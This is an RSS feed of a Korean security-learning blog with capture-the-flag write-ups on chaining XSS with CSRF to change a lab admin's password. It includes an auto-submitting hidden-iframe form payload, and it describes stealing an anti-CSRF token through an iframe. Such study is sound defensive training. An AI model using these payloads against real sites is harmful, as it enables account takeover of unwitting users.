<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>해린이의 정보보호&amp;amp;해킹 성장기</title>
    <link>https://herini0829.tistory.com/</link>
    <description>문과 출신으로 정보보호 분야에 넘어온 초보자의 공부&amp;amp;성장 기록입니다.

(현) 금융보안원 재직

(현) ISMS-P 인증심사원</description>
    <language>ko</language>
    <pubDate>Sun, 21 Jun 2026 17:45:48 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>herini0829</managingEditor>
    <image>
      <title>해린이의 정보보호&amp;amp;해킹 성장기</title>
      <url>https://tistory1.daumcdn.net/tistory/8347168/attach/b82e9c576cd24d518fe1e804efc5a762</url>
      <link>https://herini0829.tistory.com</link>
    </image>
    <item>
      <title>[Normaltic 웹해킹 입문] 12주차 CSRF-Get Admin 3</title>
      <link>https://herini0829.tistory.com/34</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt; ️ CSRF-Get Admin 3 문제 풀이&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSRF-Get Admin 3을 풀어보자. 흐름상 이번에는 CSRF토큰이 나올 것 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;530&quot; data-origin-height=&quot;439&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NAmIb/dJMcac2O7Jf/PsEnJS8sEovN1YkyikLa3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NAmIb/dJMcac2O7Jf/PsEnJS8sEovN1YkyikLa3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NAmIb/dJMcac2O7Jf/PsEnJS8sEovN1YkyikLa3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNAmIb%2FdJMcac2O7Jf%2FPsEnJS8sEovN1YkyikLa3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;530&quot; height=&quot;439&quot; data-origin-width=&quot;530&quot; data-origin-height=&quot;439&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마이페이지에 들어가니 역시나 hidden으로 csrf_token을 던져주고 있다. 관리자의 token을 XSS를 이용하여 탈취하고, 그 정보를 포함하여 CSRF공격을 하면 될 것 같다. 개념까지는 괜찮은데 실제 payload를 만드는 것은 쉽지 않을 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS가 되는 페이지 안에 크게 이런식으로 가면 될 것 같다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Token을 탈취하는 XSS 공격을 통해 token을 탈취한다.(이때 탈취용 iframe이 필요함)&lt;/li&gt;
&lt;li&gt;Form을 전송하고 response를 받을 stealth iframe을 만든다.&lt;/li&gt;
&lt;li&gt;Form과 attack()함수를 정의하고 submit하여 CSRF공격을 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 TOKEN을 어떻게 꺼내올 지 생각해봐야 하는데, 위치부터 파악해보자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;418&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/crhYEe/dJMcafZzJQ3/mhnL2EsgwfiBPTU7KZubMK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/crhYEe/dJMcafZzJQ3/mhnL2EsgwfiBPTU7KZubMK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/crhYEe/dJMcafZzJQ3/mhnL2EsgwfiBPTU7KZubMK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcrhYEe%2FdJMcafZzJQ3%2FmhnL2EsgwfiBPTU7KZubMK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;418&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;418&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 하면 토큰값을 꺼내올 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;550&quot; data-origin-height=&quot;73&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AsUb7/dJMcajnj3Ni/mcVeZn38Mdo4UJO2KhmIPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AsUb7/dJMcajnj3Ni/mcVeZn38Mdo4UJO2KhmIPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AsUb7/dJMcajnj3Ni/mcVeZn38Mdo4UJO2KhmIPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAsUb7%2FdJMcajnj3Ni%2FmcVeZn38Mdo4UJO2KhmIPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;550&quot; height=&quot;73&quot; data-origin-width=&quot;550&quot; data-origin-height=&quot;73&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;663&quot; data-origin-height=&quot;544&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LXc0r/dJMcaiBXqJc/CIUTyKPceC3IeBwmHbWr5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LXc0r/dJMcaiBXqJc/CIUTyKPceC3IeBwmHbWr5k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LXc0r/dJMcaiBXqJc/CIUTyKPceC3IeBwmHbWr5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLXc0r%2FdJMcaiBXqJc%2FCIUTyKPceC3IeBwmHbWr5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;663&quot; height=&quot;544&quot; data-origin-width=&quot;663&quot; data-origin-height=&quot;544&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  페이로드 해석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이로드를 해석해보자면 다음과 같다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;fsi6의 마이페이지를 안보이게 iframe으로 불러오고, 로드가 끝나면 attack()함수를 실행하도록 한다.&lt;br /&gt;(&lt;u&gt;&lt;b&gt;실제로 공격할때는 네모친 부분을 fsi6_admin으로 변경해야한다&lt;/b&gt;&lt;/u&gt;)&lt;/li&gt;
&lt;li&gt;Form의 요청과 응답을 주고받을 안보이는 iframe을 하나 더 만든다.&lt;/li&gt;
&lt;li&gt;1의 로드가 끝나면 실행되는 attack()함수는 stolen_token이라는 변수를 만들고 거기에 XSS로 아까 위의 1에서 훔쳐온 csrf_token을 집어넣고, form_token이라고 선언된 변수 안에 stolen_token 값을 집어넣은 뒤 myform을 제출하게 한다.&lt;br /&gt;(&lt;u&gt;&lt;b&gt;form_token value에 stolen_token을 넣고 input쪽에 id=&quot;form_token&quot;으로 선언해주는 것만으로 value가 입력이 된다&lt;/b&gt;&lt;/u&gt;)&lt;/li&gt;
&lt;li&gt;마지막으로 봐야할 form은 POST형식으로 정보를 보내는 myform인데 pw를 12345로 변경하도록 되어 있다.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;  기술적 포인트 (참고)&lt;/b&gt;&lt;br /&gt;- &lt;b&gt;onload 이벤트:&lt;/b&gt; iframe에 대상 페이지(마이페이지)가 완전히 로드되어 토큰값이 생성된 후에 스크립트가 실행되어야 하므로 필수적&lt;br /&gt;- &lt;b&gt;contentDocument:&lt;/b&gt; 부모 창에서 iframe 내부의 DOM 객체(토큰값 등)에 접근하기 위해 사용되는 속성&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 결과 확인&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자 봇에게 게시글을 읽게 한 뒤, fsi6_admin 계정에 설정한 비밀번호 12345를 입력하니 성공적으로 로그인되며 플래그를 획득할 수 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;381&quot; data-origin-height=&quot;375&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IUZh7/dJMcaiIJEf6/S5DAzio1l7fplKkJ3hQwv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IUZh7/dJMcaiIJEf6/S5DAzio1l7fplKkJ3hQwv0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IUZh7/dJMcaiIJEf6/S5DAzio1l7fplKkJ3hQwv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIUZh7%2FdJMcaiIJEf6%2FS5DAzio1l7fplKkJ3hQwv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;381&quot; height=&quot;375&quot; data-origin-width=&quot;381&quot; data-origin-height=&quot;375&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 우리가 알아야했던건 &lt;span&gt;XSS &lt;/span&gt;공격포인트와&lt;span&gt;, &lt;/span&gt;공격 대상의 &lt;span&gt;ID(fsi6_admin)&lt;/span&gt;이었고 나머지는 공격 과정에서 획득할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS와 CSRF를 연계해서 보안 토큰까지 우회해본 아주 유익한 문제였다. 끝!  &lt;/p&gt;</description>
      <category>해킹스터디</category>
      <category>csrf</category>
      <category>function</category>
      <category>Get</category>
      <category>iframe</category>
      <category>Normaltic</category>
      <category>onload</category>
      <category>post</category>
      <category>XSS</category>
      <category>노말틱</category>
      <category>웹해킹</category>
      <author>herini0829</author>
      <guid isPermaLink="true">https://herini0829.tistory.com/34</guid>
      <comments>https://herini0829.tistory.com/34#entry34comment</comments>
      <pubDate>Tue, 6 Jan 2026 14:10:04 +0900</pubDate>
    </item>
    <item>
      <title>[Normaltic 웹해킹 입문] 12주차 CSRF-Get Admin 2</title>
      <link>https://herini0829.tistory.com/33</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt; ️ CSRF-Get Admin 2 문제 풀이: POST 방식의 요청 위조와 스텔스 기법&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSRF-Get Admin 2번 문제다. 1번과 유사한 내용이지만, 이번에는 공격 방식에서 한 단계 더 나아간 고민이 필요했다. 이번에도 &lt;code&gt;fsi5&lt;/code&gt; 계정을 생성하여 &lt;code&gt;fsi5_admin&lt;/code&gt;의 비밀번호를 탈취하는 시나리오로 진행했다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 문제 분석: GET이 안 된다면?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 비밀번호 변경 request 패킷을 분석해 보니, 지난번과는 다르게 &lt;b&gt;POST 방식&lt;/b&gt;으로 데이터를 전달하고 있었다. 혹시나 하는 마음에 GET으로 방식을 바꿔서 보내봤지만, 서버에서 에러를 뱉으며 받아주지 않았다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;469&quot; data-origin-height=&quot;473&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cu8HvL/dJMcabJE50r/KIso9ygceW18zKWxCr59e0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cu8HvL/dJMcabJE50r/KIso9ygceW18zKWxCr59e0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cu8HvL/dJMcabJE50r/KIso9ygceW18zKWxCr59e0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcu8HvL%2FdJMcabJE50r%2FKIso9ygceW18zKWxCr59e0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;469&quot; height=&quot;473&quot; data-origin-width=&quot;469&quot; data-origin-height=&quot;473&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;545&quot; data-origin-height=&quot;438&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/P7KnW/dJMcaaYhy59/i0DSkuTXLT8k22T4RtkYRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/P7KnW/dJMcaaYhy59/i0DSkuTXLT8k22T4RtkYRk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/P7KnW/dJMcaaYhy59/i0DSkuTXLT8k22T4RtkYRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FP7KnW%2FdJMcaaYhy59%2Fi0DSkuTXLT8k22T4RtkYRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;545&quot; height=&quot;438&quot; data-origin-width=&quot;545&quot; data-origin-height=&quot;438&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;544&quot; data-origin-height=&quot;277&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QT9UF/dJMcadOaCV9/cj8WkH4UMYgMgJhL8Et3x0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QT9UF/dJMcadOaCV9/cj8WkH4UMYgMgJhL8Et3x0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QT9UF/dJMcadOaCV9/cj8WkH4UMYgMgJhL8Et3x0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQT9UF%2FdJMcadOaCV9%2Fcj8WkH4UMYgMgJhL8Et3x0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;544&quot; height=&quot;277&quot; data-origin-width=&quot;544&quot; data-origin-height=&quot;277&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;  여기서 얻은 결론&lt;/b&gt;&lt;br /&gt;서버가 POST 방식만 수용한다는 것은 공격을 위해 &lt;b&gt;폼(Form) 태그 전송이 반드시 필요&lt;/b&gt;하다는 뜻이고, 이는 곧 &lt;b&gt;XSS 공격 포인트가 필수적&lt;/b&gt;이라는 의미다.&lt;/blockquote&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 공격 전략: 문의게시판 XSS 활용&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 일반 게시판이 아닌 '문의게시판'을 이용해보기로 했다. 확인 결과 제목과 내용 모두 XSS가 열려있어 공격 코드를 심기에 아주 적합했다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;✅ 핵심 페이로드 분석 (iframe + Form)&lt;/h4&gt;
&lt;pre class=&quot;xml&quot; style=&quot;background-color: #f6f8fa; padding: 15px; border-radius: 5px; font-family: monospace;&quot;&gt;&lt;code&gt;&amp;lt;iframe width=&quot;0&quot; height=&quot;0&quot; name=&quot;StealthFrame&quot; id=&quot;StealthFrame&quot; style=&quot;display:none;&quot; sandbox=&quot;allow-forms&quot;&amp;gt;&amp;lt;/iframe&amp;gt;

&amp;lt;form method=&quot;POST&quot; action=&quot;/update_pw&quot; id=&quot;myForm&quot; target=&quot;StealthFrame&quot;&amp;gt;
    &amp;lt;input type=&quot;hidden&quot; name=&quot;pw&quot; value=&quot;12345&quot; /&amp;gt;
&amp;lt;/form&amp;gt;

&amp;lt;script&amp;gt;
    document.getElementById('myForm').submit();
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 코드의 핵심은 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;target=&quot;StealthFrame&quot;:&lt;/b&gt; 폼 제출 후 돌아오는 응답(Response) 화면을 내가 만든 투명 &lt;code&gt;iframe&lt;/code&gt;으로 보내버린다. 그래야 관리자 화면에서 페이지 이동이나 알림이 뜨지 않는다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;name vs id:&lt;/b&gt; &lt;code&gt;form&lt;/code&gt;의 &lt;code&gt;target&lt;/code&gt; 속성은 iframe의 &lt;code&gt;id&lt;/code&gt;가 아닌 &lt;b&gt;&lt;code&gt;name&lt;/code&gt;&lt;/b&gt; 값을 참조한다. 그래서 iframe에 name을 지정해주는 것이 중요하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  기술 딥다이브: sandbox=&quot;allow-forms&quot;의 역할&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지난번에도 언급했듯, &lt;code&gt;sandbox&lt;/code&gt;는 iframe 내부의 동작을 제한하는 보안 기능이다. 예외를 두지 않으면 자바스크립트 실행, 폼 제출, 팝업 등이 모두 금지된다. 여기서 좀 헷갈리는 개념이 등장하는데 어차피 form은 request로 iframe 밖에서 나가고 target은 response를 iframe 안에서 받는다는 건데 왜 allow-forms가 필요할까?(request는 iframe 밖에서 이뤄지는데?)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 중요한 개념이 target을 지정하는 순간 브라우저는 form과 관련된 일체의 행위가 iframe 안에서 일어나는 것으로 이해한다고 한다. 이를 &lt;b data-index-in-node=&quot;9&quot; data-path-to-node=&quot;0&quot;&gt;브라우저의 컨텍스트(Context) 분리&lt;/b&gt;와 &lt;b data-index-in-node=&quot;33&quot; data-path-to-node=&quot;0&quot;&gt;샌드박싱(Sandboxing)&lt;/b&gt; 모델이라고 한다고 함&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;❓ 왜 allow-forms만 쓰나요?&lt;/b&gt;&lt;br /&gt;우리의 목적은 '비밀번호 변경 폼 제출'이다. &lt;code&gt;allow-forms&lt;/code&gt;를 주면 폼 제출은 가능해지지만, &lt;b&gt;자바스크립트 실행(allow-scripts)이나 모달창(allow-modals) 권한이 없으므로&lt;/b&gt; 서버가 보내는 &quot;변경되었습니다&quot;라는 알림창(Alert)은 실행되지 못하고 무시된다. 덕분에 완벽한 &lt;b&gt;스텔스 공격&lt;/b&gt;이 가능해지는 것이다.&lt;/blockquote&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 최종 공격 성공&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문의게시판에 해당 페이로드를 심고 관리자 봇이 확인하게 만들었다. 잠시 후 &lt;code&gt;fsi5_admin&lt;/code&gt; 계정에 내가 설정한 비밀번호 &lt;code&gt;12345&lt;/code&gt;를 입력하니 성공적으로 로그인이 되며 플래그를 획득할 수 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;655&quot; data-origin-height=&quot;369&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/moCJY/dJMcaf6lIGG/MdekJ3R87Dkql8vG2KPsS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/moCJY/dJMcaf6lIGG/MdekJ3R87Dkql8vG2KPsS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/moCJY/dJMcaf6lIGG/MdekJ3R87Dkql8vG2KPsS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmoCJY%2FdJMcaf6lIGG%2FMdekJ3R87Dkql8vG2KPsS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;655&quot; height=&quot;369&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;655&quot; data-origin-height=&quot;369&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;420&quot; data-origin-height=&quot;416&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cg95Iv/dJMcaaDYcxj/5LLapB9MTUSlMkduTc7YA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cg95Iv/dJMcaaDYcxj/5LLapB9MTUSlMkduTc7YA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cg95Iv/dJMcaaDYcxj/5LLapB9MTUSlMkduTc7YA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcg95Iv%2FdJMcaaDYcxj%2F5LLapB9MTUSlMkduTc7YA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;420&quot; height=&quot;416&quot; data-origin-width=&quot;420&quot; data-origin-height=&quot;416&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  마무리하며&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;POST 방식의 CSRF는 XSS와의 연계가 얼마나 강력한지를 보여주는 사례였다. 특히 &lt;code&gt;target&lt;/code&gt; 속성을 이용해 응답을 가로채고 &lt;code&gt;sandbox&lt;/code&gt;로 알림을 차단하는 기법은 실전에서도 매우 유용할 것 같다. 뿌듯하다!  &lt;/p&gt;</description>
      <category>해킹스터디</category>
      <category>csrf</category>
      <category>form</category>
      <category>Get</category>
      <category>iframe</category>
      <category>Normaltic</category>
      <category>post</category>
      <category>sandbox</category>
      <category>XSS</category>
      <category>금보원</category>
      <category>노말틱</category>
      <author>herini0829</author>
      <guid isPermaLink="true">https://herini0829.tistory.com/33</guid>
      <comments>https://herini0829.tistory.com/33#entry33comment</comments>
      <pubDate>Tue, 6 Jan 2026 10:33:53 +0900</pubDate>
    </item>
    <item>
      <title>[Normaltic 웹해킹 입문] 12주차 CSRF-Get Admin 1</title>
      <link>https://herini0829.tistory.com/32</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt; ️ CSRF-Get Admin 1 문제 풀이: iframe을 이용한 스텔스 비밀번호 탈취&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 문제는 CSRF의 기초이자 핵심인 '요청 위조'를 실습하는 문제다. 단순히 요청을 보내는 것을 넘어, 관리자의 눈(혹은 시스템의 감시)을 피해 어떻게 은밀하게 공격을 성공시키느냐가 관건이었다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 공격 시나리오 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내가 &lt;code&gt;fsi4&lt;/code&gt;라는 계정을 만들면 &lt;code&gt;fsi4_admin&lt;/code&gt;이라는 관리자 계정이 페어로 생성된다. 이 관리자 계정의 비밀번호를 내가 원하는 값으로 변경한 뒤 로그인하면 플래그를 얻을 수 있는 구조다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;470&quot; data-origin-height=&quot;473&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/r0EH1/dJMcajt5rhe/atTXITxSUEctLshK5SvNRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/r0EH1/dJMcajt5rhe/atTXITxSUEctLshK5SvNRk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/r0EH1/dJMcajt5rhe/atTXITxSUEctLshK5SvNRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fr0EH1%2FdJMcajt5rhe%2FatTXITxSUEctLshK5SvNRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;470&quot; height=&quot;473&quot; data-origin-width=&quot;470&quot; data-origin-height=&quot;473&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 1차 시도와 실패: &quot;들켰단다&quot;&lt;/h3&gt;
